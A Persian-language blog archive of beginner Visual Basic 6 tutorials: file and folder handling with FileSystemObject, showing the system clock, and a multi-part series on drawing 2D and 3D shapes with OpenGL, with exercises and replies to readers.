::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

در مثال زیر چگونگی ساختن فولدر را یاد میگیرید.

ابتدا یک پروژه جدید باز کنید . سپس یک دکمه فرمان روی فرم خود جاسازکنید! حالا کدهای زیر را در پنجره کدها بنویسید:

Private Sub Command1_Click

Dim FSO

Set FSO = CreateObject("Scripting.FileSystemObject")    'x
FSO.CreateFolder  "D:\Ali"   'Create A New Directory

End Sub

در قطعه کد بالا علت اینکه عبارت "CreateFolder" رو کمرنگ نوشتم اینه که شما میتونید به جای اینکه با این عبارت یک فولدر بسازید می توانید با تغییر دادن آن به صورت CreateTextFile یک فایل تکست ایجاد کنید به این صورت:

Private Sub Command1_Click

Dim FSO

Set FSO = CreateObject("Scripting.FileSystemObject")    'x
FSO.CreateTextFile  "D:\Ali.TXT"   'Create A New Text File

End Sub

و اما کپی کردن فایل برای کپی کردن یک فایل ما باید (در قطعه کد بالا) در خط چهارم به جای استفاده از FSO.CreateTextFile از FSO.CopyFile استفاده کنیم با این تفاوت که CopyFile داری دو آرگومان اجباری است که آرگومان اول مسیر فایل مبدا و آرگومان دوم مسیری است که فایل در آنجا کپی می شود. برای اینکه بهتر موضوع رو درک کنید یک مثال ساده برای شما می زنم:

یک پروژه جدید باز کنید و با قرار دادن یک دکمه فرمان(Command1) در پنجره کدها عبارات زیر را تایپ کنید:

Private Sub Command1_Click

Dim FSO

Set FSO = CreateObject("Scripting.FileSystemObject")    'x
FSO.CopyFile  "D:\Ali.TXT" , "C:\CopyAli.TXT"           'Copy Ali to Drive C

End Sub

برای انتقال فایل نیز باید همانند بالا عمل کنیم اما با این تفاوت که به جای عبارت FSO.CopyFile باید از عبارت MoveFile استفاده کنیم. همچنین آرگومان اول MoveFile مسیر فایل مبدا و آرگومان دوم مسیر فایل مقصد است.


خوب تا اینجا امیدوارم نظرتون رو جلب کرده باشم.

فعلا. خدانگهدارتون.

 |+| نوشته شده در  یکشنبه بیست و چهارم تیر 1386ساعت 13:2  توسط علی  | 

با یاد خدا قسمت ششم هم شروع میکنیم.

از اینکه نظر می دین خیلی ممنونم. با این نظراتی که میدین منو شارژ می کنید و باعث میشید که من مطالب جدید رو با ذوق و شوق بنویسم. در جواب نظر آقا حسین باید بگم ما چاکر همه شما هستیم از اینکه یه سایت آپلود رایگان به من معرفی کردی خیلی ممنون.

 

یکی از دوستان به نام رویال بابل سوال کرده بودن که چطوری میشه ساعت جاری سیستم رو در ویژوال بیسیک به نمایش در آورد؟ در جواب باید بگم این کار بسیار آسونه و من متعجبم که چطور شما نمی تونین ساعت جاری سیستم رو نمایش بدین. خلاصه به این صورت باید عمل کنی:

یک تایمر به فرم خودت اضافه کن و خاصیت Interval تایمرت رو برابر ۱۰۰۰ بگیر.سپس یک تکست باکس (TextBox) در فرم خودت بگذار . روی تایمر ۲ بار کلیک کن تا پنجره کدها باز شود و بعد کدهای زیر رو بنویس:

Private sub Timer1_Timer

Text1.Text = Time

end Sub

به همین سادگی ...  به همین خوشمزگی

 

محمد آقا گفته بودن که کدهای قسمت اول OpenGL مشکل داره. من در قسمت دوم آموزشOpenGL سورس کدهای جلسه اول رو گذاشتم می تونی از روی این سورس کدها یه کپی بزنی.


خوب میریم سراغ آموزش قسمت ششم OpenGL :

در این قسمت یاد میگیرین که دیسک رسم کنین و در ادامه نیز چگونگی چسباندن عکس به اشکال سه بعدی رو یاد میگیرین.

۱- رسم استوانه:

۲- رسم دیسک:

۳- رسم دیسک مجهول(مثلا دیسک نیم دایره)

 

برای رسم استوانه و دیسک و دایره ما از کلاس Quadric استفاده میکنیم.به طور کلی هر شئی که دایره در آن به کار رفته باشد وابسته به کلاس Quadric است.

۱ - رسم استوانه:

برای رسم استوانه ما ابتدا یک متغیر از نوع Variant تعریف می کنیم . سپس متغیر را برابر کلاس Quadric قرار میدهیم بعد از آن هم با توابع کتابخانه glu اشکال مورد نظر خود را رسم میکنیم.کدهای زیر رو در DrawGLScene (مکان رسم اشکال) بنویسید:

Public  Xrot , Yrot , Zrot  as GLfloat

Public Function DrawGLScene() as Boolean

glClear  clrColorBufferBit

glLoadIdentity

glRotatef  xrot , 1 , 0 , 0

glRotatef  yrot , 0 , 1 , 0

glRotatef  zrot , 0 , 0 , 1

 

Dim Q

Q = gluNewQuadric

gluQuadricDrawStyle  Q , qdsLine

glColor4f  1,1,1,1

gluCylinder Q , 0.3 , 0.3 , 0.8 , 15 , 15

 

Xrot = Xrot + 0.3

Yrot = Yrot + 0.2

Zrot = Zrot + 0.4

 

DrawGLScene = True

End Function

کدهایی که کمرنگ هستند تکراری هستند و فقط برای یادآوری بود که کدهای مربوط به رسم اشیا باید در این فانکشن نوشته شوند.

تحلیل کد برنامه: در خط اول ابتدا سه متغیر برای متحرک کردن شئ نوشتیم.در خط چهارم به کمک تابع glLoadIdentity شئ خود را ثابت و بدون حرکت کردیم تا حرکت را به عهده متغیر ها قرار دهیم. خط های ۸ و ۹ و ۱۰ و ۱۱ و ۱۲ را برای رسم استوانه نوشتیم. خط های ۱۳ و ۱۴ و ۱۵ هم برای متحرک کردن شئ است.

و اما شکل کلی تابع gluCylinder (تابع رسم استوانه): gluCylinder

خطوط عمودی , خطوط افقی , ارتفاع استوانه , شعاع دایره بالایی استوانه , شعاع دایره پایینی  , متغیر

به همین سادگی شما یک استوانه رسم کردید.


۲ - رسم دیسک : رسم دیسک نیز مانند رسم استوانه است با این تفاوت که به جای استفاده از تابع gluCylinder باید از تابع gluDisk استفاده کنیم. کدهای زیر رو در فانکشن DrawGLScene بنویسید:

Public Xrot , Yrot , Zrot  as  GLfloat

Public Function DrawGLScene () as Boolean

glClear  clrColorBufferBit

glLoadIdentity

glRotatef  xrot , 1 , 0 , 0

glRotatef  yrot , 0 , 1 , 0

glRotatef  zrot , 0 , 0 , 1

 

Dim Q

Q = gluNewQuadric

gluQuadricDrawStyle  Q , qdsLine

glColor4f  1,0,0,1

gluDisk Q , 0.1 , 0.7 , 15 , 15

 

Xrot = Xrot + 0.3

Yrot = Yrot + 0.2

Zrot = Zrot + 0.4

 

DrawGLScene = True

End Function


۳ - رسم دیسک مجهول(مثل دیسک نیم دایره):

برای رسم دیسک مجهول به جای استفاده از تابع gluDisk باید از تابع gluPartialDisk استفاده کرد. کدهای زیر رو هم امتحان کنین.

Public Xrot , Yrot , Zrot as GLFloat

Public Function DrawGLScene() as Boolean

glClear  clrColorBufferBit

glLoadIdentity

glRotatef  xrot , 1 , 0 , 0

glRotatef  yrot , 0 , 1 , 0

glRotatef  zrot , 0 , 0 , 1

 

Dim Q

Q = gluNewQuadric

gluQuadricDrawStyle  Q , qdsLine

glColor4f  1,0,0,1

gluPartialDisk  Q , 0.1 , 0.7 , 15 , 15 , 0 , 250

 

Xrot = Xrot + 0.3

Yrot = Yrot + 0.2

Zrot = Zrot + 0.4

 

DrawGLScene = True

End Function

شکل کلی تابع gluPartialDisk همانند تابع gluDisk است و فقط یک پارامتر بیشتر دارد(پارامتر آخر)  و این پارامتر مشخص کننده مقدار مجهولی دیسک است.

به نظر من رسم دیسک های مجهول بسیار لذت بخش و جالبه.


امیدوارم از مطالبی که نوشتم نهایت استفاده را بکنید
نظر یادت نره ها.

 

 |+| نوشته شده در  شنبه دوم تیر 1386ساعت 12:22  توسط علی  | 

سلام...

حالتون چطوره؟ خوبین یا بهترین؟          خوب خدا رو شکر.

در این جلسه قبل از اینکه بریم سر اصل مطلب براتون یک سایت می خوام معرفی کنم:

اگه برنامه نویسی به زبان دلفی بلدین و می خواین که با این زبان برنامه نویسی کارهای سه بعدی انجام بدین می تونید به این سایت مراجعه کنین:آموزش OpenGL در دلفی(Delphi)


خوب میرویم سر آموزش قسمت پنجم OpenGL

در این جلسه یاد میگیرین که:

۱- رسم مکعب:

۲- رسم کره:

۳- رسم منشور و اهرام( مکعب مثلث):

۴- رسم استوانه ( یا دیسک):

در این جلسه چگونگی رسم مکعب و کره و اهرام را میدم و رسم استوانه را  برای جلسه بعد . چرا که رسم استوانه و دیسک کاملا با بقیه مکعب ها فرق داره و مستلزم اختصاص دادن وقت بیشتری برای آموزش آن داره پس برای رسم مکعب خودتون رو آماده کنین.

 

۱- رسم مکعب (مکعب مربع و مستطیل):

رسم مکعب های سه بعدی بسیار ساده است و ما با استفاده از بلوک glBegin/glEnd مکعب های سه بعدی خودمان را رسم می کنیم. برای اینکه چگونگی رسم مکعب های سه بعدی رو یاد بگیرین خطوط زیر را با دقت بخونین:

می دونید که مربع دارای چهار راس است . همچنین از چهار پاره خط تشکیل شده است. یک مکعب مربع یا مستطیل از شش تا چهار ضلعی تشکیل شده است . همچنین این شش تا چهار ضلعی دارای ۱۲ پاره خط است . برای درک بهتر شما یک مثال میزنم تا بهتر بفهمین.

در مثال زیر با استفاده از رسم شش تا مربع یک مکعب مستطیل میسازیم:

glShadeModel smSmooth

glRotatef  1,0.5,0.3,0.2

    glBegin bmQuads
       
glColor3f 0#, 1#, 0#
       
glVertex3f 0.5, 0.5, -0.5
       
glVertex3f -0.5, 0.5, -0.5
       
glVertex3f -0.5, 0.5, 0.5
       
glVertex3f 0.5, 0.5, 0.5
       
glColor3f 1#, 0.5, 0#
       
glVertex3f 0.5, -0.5, 0.5
       
glVertex3f -0.5, -0.5, 0.5
       
glVertex3f -0.5, -0.5, -0.5
       
glVertex3f 0.5, -0.5, -0.5
       
glColor3f 1#, 0#, 0#
       
glVertex3f 0.5, 0.5, 0.5
       
glVertex3f -0.5, 0.5, 0.5
       
glVertex3f -0.5, -0.5, 0.5
       
glVertex3f 0.5, -0.5, 0.5
       
glColor3f 1#, 1#, 0#
       
glVertex3f 0.5, -0.5, -0.5
       
glVertex3f -0.5, -0.5, -0.5
       
glVertex3f -0.5, 0.5, -0.5
       
glVertex3f 0.5, 0.5, -0.5
       
glColor3f 0#, 0#, 1#
       
glVertex3f -0.5, 0.5, 0.5
       
glVertex3f -0.5, 0.5, -0.5
       
glVertex3f -0.5, -0.5, -0.5
       
glVertex3f -0.5, -0.5, 0.5
       
glColor3f 1#, 0#, 1#
       
glVertex3f 0.5, 0.5, -0.5
       
glVertex3f 0.5, 0.5, 0.5
       
glVertex3f 0.5, -0.5, 0.5
       
glVertex3f 0.5, -0.5, -0.5
   
glEnd

مثال بالا رو اجرا کنین و نتیجه رو نگاه کنین.


۲- رسم کره:

رسم کره نیز همانند رسم دایره است و هیچ فرقی ندارد . دایره ای را که در جلسات پیش رسم کردیم سه بعدی بود اما به علت اینکه متحرک نبود از همه طرف قابل دیدن نبود .

در مثال زیر یک کره به شعاع ۵/۰ رسم میکنیم.

Dim Q

Q = gluNewQuadric

glColor4f  1 , 1 , 0 , 1

gluQuadricDrawStyle  Q , qdsLine

glSphere  Q , 0.5 , 25 , 25

شاید برای شما این سوال پیش آید که آیا تابع glColor4f هم وجود دارد؟ باید در پاسخ شما بگم که بله البته که وجود داره. شکل کلی تابع glColor4f به صورت زیر است:

مقدار آلفا , رنگ آبی , رنگ سبز , رنگ قرمز   glColor4f

در تابع بالا مقدار آلفا رقیق یا غلیظ بودن سطح رو مشخص می کنه. به عبارت دیگه مقدار نوری که پاشیده می شود از سطح(شئ) بگذرد یا نگذرد. (در جلسات بعدی چگونگی نورپردازی نیز آموزش داده می شود.)


این قسمت هم به پایان رسید. و اما تمرین این جلسه شما:

۱- سعی کنین که یک مکعب متوازی الاضلاع رسم کنین و اون رو متحرک کنین.

۲- قسمت های اصلی کره زمین ( پوسته و گوشته و هسته) را با رسم سه کره شبیه سازی کنین و سعی کنین هر قسمت یک رنگ داشته باشد.(مثلا پوسته آبی , گوشته نارنجی , هسته قرمز)

یه وقت برای انجام تمرین ها تنبلی نکنین ها !

اگه احیانآ مشکلی پیش اومد در قسمت نظرات بگو . حتما جوابتو می گیری.

 

 |+| نوشته شده در  پنجشنبه سی و یکم خرداد 1386ساعت 10:9  توسط علی  | 

با سلام خدمت تمام بروبچ گل .

از نظراتی که دادین ممنون.

قبل از شروع قسمت چهارم آموزش OpenGL جواب چند تا از سوالات دوستان رو باید بدم.

آقا سیاوش پرسیده بودن که : کسی که میخواد برنامه نویسی یاد بگیره باید تمام کدهایی رو که مینویسه بلد باشه؟ باید بگم که بله البته که باید از کدهایی که مینویسه سر در بیاره . همچنین شعار من اینه که هیچوقت برای اینکه یک برنامه بنویسی از روی مطالب جای دیگر رونویسی نکن بلکه با تمرین خودت سعی کن که برنامه بنویسی.

بازم آقا سیاوش پرسیده بود که : چطور میشه Object های 3d رو در OpenGL به کابرد؟ برای اینکه ما از Object های 3d در OpenGL استفاده کنیم باید تمامی مبانی حرفه ای ۳ بعدی OpenGL رو یاد بگیریم . من در جلسات بعدی چگونگی استفاده از object های ۳ بعدی در OpenGL رو براتون پست میکنم.

خوب بد بختانه سوالات بسیار کم بود و ... .


خوب میریم سر آموزش:

در جسه چهارم آموزش OpenGL یاد میگیرین که :

۱- اشیای خود را با چند رنگ مختلف رسم کنین. (برای مثال گوشه بالا سمت راست آبی و نیمه پایینی مربع قرمز باشد و وسط مربع نیز ترکیبی از این دو رنگ.)

۲- اشیای سه بعدی رسم کنین.

۳- چگونگی متحرک سازی اشیای سه بعدی.

 -------------------------------------------------------------------------------------------------------------------

۱- رنگ آمیزی اشیا:

یکی از قابلیت های مهم OpenGL ترکیب رنگ های مختلف در یک شئ است. که در این کار هر راس از شئ رنگ متفاوتی میگیرد. برای این کار تابعی وجود دارد که نام آن glShadeModel است . این تابع به OpenGL میگوید که اشیای ما فقط یک رنگ بگیرند یا  با چند رنگ مختلف رنگ آمیزی شوند. این تابع دو ثابت دارد:

۱: smFlat  فقط یک رنگ میتوانیم به شئ اختصاص دهیم.

۲: smSmooth  می توانیم ترکیبی از رنگها را به شی اختصاص دهیم.

در حالت پیش فرض مقدار تابع glShadeModel برابر smFlat است که ما در این صورت فقط یک رنگ میتوانیم به شئ مان اختصاص دهیم.

باید همیشه این نکته را توجه داشته باشید که تابع glShadeModel  قبل از بلوک glBegin / glEnd بیاید که در غیر این صورت خطا رخ میدهد.

در مثال زیر یک مثلث با رنگ های قرمز و سبز و آبی رسم میکنیم:

glShadeModel  smSmooth

glBegin  bmTriangles

glcolor3f  1,0,0

glVertex2f  0.5, 0

glColor3f  0 , 1 , 0

glVertex2f  0 , 0.5

glcolor3f  0 , 0 , 1

glVertex2f  -0.5 , 0

glEnd

حالا برنامتون رو اجرا کنین و نتیجه رو مشاهده کنین.

حالا برای تمرین مقدار تابع glShadeModel را برابر smFlat قرار دهید و نتیجه رو نگاه کنین.


مهمترین بخش آموزش OpenGL :

۲- رسم اشیای سه بعدی:

برای رسم اشیای سه بعدی همانند رسم اشیای ۲ بعدی عمل میکنیم . یعنی اینکه با فراخوانی بلوک glBegin .../.../glEnd میتوانیم اشیای سه بعدی رسم کنیم. رسم اشیای سه بعدی بسیار بسیار ساده و آسان است و برای برنامه نویسان OpenGL لذت بخش ترین بخش برنامه نویسی است. ما برای رسم اشیای سه بعدی به جای استفاده از تابع glVertex2f از توابع glVertex3f و یا glVertex4f استفاده می کنیم . مطمئنم که فهمیدید . بله در تابع glVertex2f همان طور که از شماره ۲ آن معلوم است توانایی رسم اشیای ۲ بعدی را دارد اما توابع glVertex3f , glVertex4f بر اساس شماره آنها توانایی رسم اشیای سه بعدی را  دارند.

شکل کلی تابع glVertex3f به صورت زیر است:

glVertex3f  X , Y , Z

که در این تابع x و y همان مختصات معمولی رئوس شئ هستند ولی z عمق شی را نشان می دهد.

مختصات اشیای سه بعدی:

کسانی که برنامه نویس هستند قطعا مختصات سه بعدی رو هم بلدند اما مختصات سه بعدی مختصاتی فرضی است و فقط با مغز انسان قابل درک است. در مثال بعد یک مثلث سه بعدی رسم میکنم:

مثال: رسم مثلث ۳ بعدی:

glShadeModel  smSmooth

glBegin  bmTriangles

glColor3f  1,0,0

glVertex3f  0.5 , 0, 0

glColor3f  0,1,0

glVertex3f  0 , 0.3 , 0

glColor3f  0,0,1

glVertex3f  -0.5 , 0 , 0

glEnd

مثال بالا را اجرا کنین و نتیجه کدهایی که نوشتین رو نگاه کنین.

ممکنه بعد از اجرای برنامه با خودتون بگین که ما یک مثلث سه بعدی رسم کردیم ولی چرا از یک بعد قابل روئیت بود ! برای اینکه از تمامی ابعاد و از همه طرف مثلث رو ببینین باید اون رو متحرک کنین.(یعنی حرکت بدین.)


۳- متحرک کردن اشیای سه بعدی:

برای متحرک کردن اشیای سه بعدی OpenGl تابعی دارد که نام آن glRotatef است . تابع glRotateF دارای ۴ پارامتر است و شکل کلی آن به این صورت است:

مختصات Z , مختصات Y , مختصات X , سرعت حرکت    glRotatef

در این تابع هر چه مقدار سرعت حرکت بیشتر باشد شئ مورد نظر ما با سرعت بیشتری حرکت میکند .

در مثال زیر یک مثلث سه بعدی با سه رنگ متفاوت را به حرکت در می آوریم:

glRotatef  2 , 0.5 , 0.5 , 0.5

glShadeModel  smSmooth

glBegin  bmTriangles

glColor3f  1,0,0

glVertex3f  0.5,0,0

glColor3f  0,1,0

glVertex3f  0,0.3,0

glColor3f  0,0,1

glColor3f  -0.5,0,0

glEnd

مثال بالا رو هم حتما اجرا کنین و نتیجه رو ببینین.

همون طور که در مثال بالا مشاهده می کنین تابع glRotatef نیز باید در قبل و خارج از بلوک glBegin/glEnd باشد که در غیر این صورت...


جلسه چهارم آموزش OpenGL نیز به پایان رسید ولی کلاغه به خونش نرسید. و کسی هم نظر نداد.

امیدوارم تا جلسه آینده خوب تمرین کنین.

فعلا . خدا حافظ      ...................     رو بیامرزه.

راستی اگه سایتی که فضای رایگان برای آپلود فایل به صورت رایگان میده بلدی بگو ممنون می شوم.

با تشکر                                    Iranian Technology

 

 |+| نوشته شده در  پنجشنبه سی و یکم خرداد 1386ساعت 10:8  توسط علی  | 
با یاد خدا امروز قسمت سوم آموزش OpenGL رو برای شما عزیزان میگم.

در جلسه قبل رسم نقطه و خط رو گفتم اما امروز به بقیه ی اشیا میپردازم.

۳- bmTriangles  رسم مثلث:

برای رسم مثلث های گوناگون ( متساوی ها و قائم الزاویه ها و ...) از تابع glBegin با دادن ثابت bmTriangles میتوانیم بعد از فراخوانی سه تابع glVertex2f (که رئوس اضلاع مثلث را شامل میشوند) مثلث مورد نظر را رسم کنیم.

در مثال زیر یک مثلث با رنگ آبی در وسط فرم نمایش داده میشود.

glBegin  bmTriangles

glcolor3f  0, 0, 1

glvertex2f  0.5 , 0

glvertex2f  0 , 0.5

glvertex2f  -0.5 , 0

glEnd

شاید با تابع glColor3f آشنا نباشید. تابع glColor3f باعث میشود که رنگ مورد نظر برای اشیا را مشخص کنیم. تابع glColor#f که # در آن از ۳ تا ۴ میباشد رنگ مورد نظر را تایین میکند. در ادامه درباره این تابع بیشتر صحبت میکنم.

حتما مثال هایی که میزنم رو اجرایی کنین.


۴- bmQuads  رسم چهار ضلعی ها (از جمله لوزی / مربع / مستطیل / ذوزنقه و سایر چهار ضلعی ها):

برای رسم چهار ضلعی ها مانند رسم سایر اشیا از تابع glBegin استفاده میکنیم و مقدار Mode تابع glBegin را برابر bmQuads می کنیم. در مثال زیر یک مستطیل در نیمه ی بالایی فرم رسم میکنیم:

glBegin bmQuads

glcolor4f  0,1,0 ,0

glVertex2f  0.5 , 0

glvertex2f  0.5 , 0.5

glvertex2f  -0.5 , 0.5

glvertex2f  -0.5 , 0

glEnd

همان طور که در مثال بالا می بینید ما برای رسم مستطیل از چهار تابع glVertex2f استفاده کرده ایم. دلیل استفاده از تابع glVertex تایین رئوس اضلاع مستطیل است.


۵- bmPolygon رسم چند ضلعی:

برای رسم چند ضلعی باید بعد از فراخوانی تابع glBegin از ثابت bmPolygon استفاده کنیم . برای رسم چند ضلعی ها ما میتوانیم در داخل بلوک glBegin/glEnd به تعداد دلخواه تابع glVertex فراخوانی کنیم چرا که تعداد اضلاع به تعداد توابع glVertex بستگی دارد.

در مثال زیر یک ۶ ضلعی بارنگ قرمز رسم میکنیم.

   glBegin bmPolygon
   glColor3f 1, 0, 0
 glVertex2f 0.5, 0
   glVertex2f 0.3, 0.5
   glVertex2f -0.3, 0.5
   glVertex2f -0.5, 0
   glVertex2f -0.3, -0.5
   glVertex2f 0.3, 0.5
   glEnd

امیدوارم تا اینجا خوب یاد گرفته باشی ولی اگه احیانآ مشکلی پیش اومد بگو خجالت نکش.من خدا خدا میکنم که یه سایت یا وبلاگ به سوالات من جواب بده ولی... .


و اما رسم دایره:

شما میتونین برای رسم دایره به کمک تابع glBegin و ثابت bmPolygon دایره رسم کنین ولی تعداد خطوطی که باید کد بنویسین خیلی زیاد میشه.

Open GL برای رسم دایره از یک کتابخانه کمکی به نام glu استفاده میکنه.(نگران نباشید این کتابخانه در تمامی کامپیوتر ها وجود داره و نیازی به کپی کردن اون به کامپیوتر خودتون نیست. چه خوب)

در ادامه چگونگی رسم دایره را به شما دوستان عزیزم میگم.

برای رسم دایره دیگر نمیتوانیم از تابع glBegin استفاده کنیم زیرا تابع glBegin ثابتی ندارد که بتواند دایره رسم کند. پس:

برای رسم دایره شما ابتدا باید یک متغیر از نوع Variant تعریف کنید:

Dim Q as Variant

بعد از تعریف کردن متغیر باید اون رو برای رسم دایره آماده کنین به این صورت:

Q = gluNewQuadric

بعد باید رنگ مورد نظر خودتون رو به دایره بدین:

glColor3f  0,0,1

بعد از اون هم باید چگونگی نمایش دایره رو مشخص کنیم( این موضوع برای استفاده سه بعدی کاربرد دارد و من در جلسه بعد به توضیح این تابع میپردازم اما بد نیست که بهتر با تابع آشنا بشین.)

gluQuadricDrawStyle  Q , qdsLine

در ادامه نیز به رسم دایره میپردازیم:

gluSphere  Q , 0.5 , 20 , 20

بعد هم برنامه را اجرا میکنیم و نتیجه را می بینیم.

مثال بالا در کل به این صورت است:

Dim Q

Q = gluNewQuadric

glcolor3f 0 , 0 , 1

gluQuadricDrawStyle  Q , qdsLine

gluSphere  Q , 0.5 , 20 , 20

همین !!

اگه میخوای این مطالبو خوب یاد بگیری باید تمرین کنی. از روی نوشته کپی کردن باعث میشه که اصلا چیزی یاد نگیرین. پس سعی کنین:

۱- چهار ضلعی رسم کنین که رنگ آن قرمز باشد. سپس در وسط آن چهار ضلعی یک مثلث به رنگ آبی رسم کنین.

۲- دایره ای رسم کنین که رنگ آن سبز باشد .

امیدوارم موفق باشید.  راستی من  سه چهار روز دیگه تمرین هایی که برای شما نوشتم رو جواب میدم پس هیچ جای نگرانی نیست.


هی اگه نظر ندین ها دیگه هیچ مطلبی رو نمی نویسم.

دروغ گفتم بابا حالا ناراحت نشو ولی اگه نظر ندی نامردیه.

 |+| نوشته شده در  چهارشنبه بیست و سوم خرداد 1386ساعت 19:36  توسط علی  | 
با سلام خدمت تمام بروبچ .

امروز درباره ساخت اشیای دو بعدی در ویژوال بیسیک و رنگ آمیزی آنها صحبت میکنیم.

ابتدا یه مروری به جلسه قبل میکنیم و همون طور که قول داده بودم کدهای جلسه اول رو براتون به صورت کلی مینویسم (اگه میخوایین این کدها رو بنویسین پیشنهاد میکنم کپی کنید.):

کدهای زیر برای ماجول OpenGLMain است:

توجه:اگر جلسه اول آموزش OpenGL رو نخوندی حتما بخونش.

کدهای زیر برای ماجول DrawShape هست:

و اما درس امروز:

ما در این جلسه تمام سروکارمون با ماجول DrawShape است و در داخل تابع DrawGLScene باید کدهای مربوط به رسم اشکال را بنویسیم.

برای رسم اشکال ما باید از تابع glBegin استفاده کنیم. تابع glBegin به OpenGL میگوید که ما آماده رسم اشکال هستیم. برای رسم اشکال بعد از فراخوانی تابع glBegin با کمک تابع glVertex و glColor ما مختصات راس های شکل مورد نظر و رنگ مورد نظر که به شکل پاشیده میشود را رسم میکنیم. در پایان نیز با تابع glEnd به OpenGL میگوییم که کار رسم کردن شکل ها به پایان رسیده است.

تابع glBegin پارامتری به نام Mode دارد که به کمک پارامتر Mode ما میتوانیم اشکال هندسی مختلفی رسم کنیم . مثل : مربع و مستطیل و مثلث و چندضلعی های دیگر.

پارامتر Mode مقادیریرا میتواند بگیرد که تعدادی از آنها در زیر آمده است:

مقادیر توضیحات                

bmPoints رسم نقاط جدا از هم
bmLines رسم خط که دو راس دارد
bmLineStrip رسم خط های به هم پیوسته
bmLineLoop رسم خط های به هم پیوسته
bmTriangles رسم مثلث با دادن سه راس
bmTriangleStrip رسم مثلث های به هم پیوسته
bmTriangleFan رسم مثلث های به هم پیوسته با یک راس مشترک
bmQuads رسم چهار ضلعی هایی که دارای یک راس مشترک هستند
bmQuadStrip رسم چهار ضلعی های به هم پیوسته
bmPolygon رسم چند ضلعی که ضلع های آن به تعداد دلخواه است
رسم دایره در جلسات بعد توضیح خواهم داد

این مقادیری که در جدول نوشتم در همین جلسه دونه دونه توضیح خواهم داد.(پس نگران نباشید.)

۱- bmPoints رسم نقطه:

برای اینکه ما بتونیم یک نقطه روی فرممون رسم کنیم باید مقدار Mode رو به bmPoints ست کنیم.

برای رسم یک نقطه در ماجول DrawShape و در تابع DrawGLScene  کدهای زیر رو بنویسید:

Publice Function DrawGLScene() as Boolean

glClear clrColorBufferBit

 

glBegin bmPoints

glVertex2f  0,0

glEnd

 

DrawGLScene = True

End Function

در مثال بالا کدهایی که کمرنگ تر هستند رو برای یادآوری نوشتم. شما دیگه لازم نیست که یک تابع جدید DrawGLScene تعریف کنید چون این کار باعث ایجاد مشکل در برنامه میشه.

در مثال بالا در خط سوم به کمک تابع glBegin به OpenGL فرمان دادیم که برایمان Point (نقطه) رسم کند. در خط چهارم نیز به کمک تابع glVertex2f (که یکی از توابع بسیار مهم OpenGL هست) مختصات نقطه ای که باید رسم شود را نوشتیم.در خط پنجم نیز به رسم نقطه پایان دادیم.

با اجرا کردن برنامه باید در وسط فرم شما یک نقطه رسم شده باشد.

شما میتوانید هرچه قدر که نقطه دوست دارین رسم کنین با تابع glBegin bmPoints / glEnd رسم کنین.

شاید شما بخواین که نقطه ای رو که رسم میکنین بزرگتر بشه و نقاطی رو رسم کنین که جای بیشتری میگیرن برای این کار از تابع glPointSize استفاده کنین.

برای مثال شما در نمونه برنامه ای که در بالا آمده شد این تابع رو اضافه کنین و مقدار اون رو به 50 ست کنین به این صورت:

glPointSize  50

با این کار نقطه شما ۵۰ برابر بزرگتر میشه.

توجه : تابع glPointSize را حتما باید قبل از تابع glBegin  bmPoints تعریف کنین.

گاهی وقت ها برای شما پیش میاد که  چرا وقتی نقطه ای رو بزرگ میکنیم دقت گرافیکی اون نقطه کم میشه و به شکل مربع در میاد برای برطرف کردن این مشکل و به عبارتی دندانه زدایی تابعی وجود دارد که از پر کاربردترین توابع openGL است.

تابع glEnable :

تابع glEnable مقادیری را میگیرد که در زیر فقط به مقدار glcPointSmooth اشاره میکنیم.

مقدار glcPointSmooth برای افزایش دقت گرافیکی اشیا و همچنین دندانه زدایی آنهاست. برای اینکه بهتر با این تابع و مقدار تابع آشنا بشین بعد از تعریف کردن تابع glPointSize در خط بعد از آن تابع glEnable را تعریف کنید. به این صورت:

glEnable  glcPointSmooth


۲- bmLines  رسم خط :

برای رسم خطوط در OpenGL از تابع glBegin و با ثابت bmLines استفاده میکنیم. در این تابع به جای اینکه یکبار تابع glVertex2f را فراخوانی کنیم باید دو تا تابع glVertex2f فراخوانی کنیم چراکه برای رسم خط به دو مختصات ( مختصات نقطه اول پاره خط و مختصات پایان رسم پاره خط) احتیاج داریم.

glBegin  bmLines

glVertex2f  -0.5 , 0

glVertex2f  0.5 , 0

glEnd

در مثال بالا با دادن دو مختصات خطی برای ما رسم میشود.

برای دندانه زدایی خطوط قبل از فراخوانی تابع glBegin تابع glEnable با  مقدار glcLineSmooth بنویسید. به صورت زیر:

glEnable  glcLineSmooth


فعلا کافیه . برای اینکه بهتر OpenGL رو یادبگیرید باید خودتون تمرین کنید برای تمرین این جلسه شما:

۱- نقطه ای رسم کنید که انداره اون ۲۵ برابر نقطه معمولی باشه و دندانه نداشته باشد.

۲- با رسم ۳ خط یک مثلث بسازین.

امیدوارم موفق باشی .

راستی اگه مشکلی پیش اومد نظر یادت نره ها

فعلا

 |+| نوشته شده در  سه شنبه بیست و دوم خرداد 1386ساعت 12:58  توسط علی  | 
با سلام خدمت تمام بروبچ برنامه نویس ایران زمین.

امروز براتون یه مژده دارم و اونم اینه که امروز در مورد آموزش OpenGL در ویژوال بیسیک آموزش هایی براتون میگزارم.این آموزش جزء آموزش های حرفه ای و پیشرفته به حساب میاد.

از همین اول کار شرط میبندم که از این آموزش لذت میبرین چون با حرفه ای شدن در زمینه OpenGL میتونید برنامه هایی از قبیل برنامه های میکس و افکت گزاری روی تصاویر و ساختن بازی های سه بعدی قدرتمند انجام بدین.

حالا اونایی که در این ضمینه (یعنی کارهای سه بعدی) یه مقدار تجربه دارن این سوال برای اونها پیش بیاد که چرا OpenGl ؟

شما میدونید که DirectX هم میتواند کارهای سه بعدی انجام دهد ولی چرا OpenGL که سخت تر و وقت گیر تر است؟

خوب من به سوالات شما جواب میدم. من به این علت آموزش OpenGL رو میذارم چون :

شاید با بازی قدرتمند Doom آشنایی داشته باشید منظور من از این جمله اینه که بازی Doom با OpenGL برنامه نویسی شده.همچنین OpenGL نسبت به DirectX قدرت بیشتری داره و با سرعتی در حدود ۳ برابر DirectX کار میکنه و مقدار حافظه کمتری اشغال میکنه.

هرچند OpenGL مزایای بسیار زیادی داره ولی تعداد خطوطی که ما باید کد بنویسیم بیشتره و وقت بیشتری صرف نوشتن برنامه با OpenGL میشه.اما این ضرر OpenGL هم قابلیت رفع داره برای رفع این مشکل ما با ساختن یک موتور(Engin) گرافیکی ساده ولی قدرتمند تعداد خطوطی که باید کد بنویسیم نصف و شاید هم کمتر از نصف DirectX بشه.

خوب میریم سراغ آموزش :

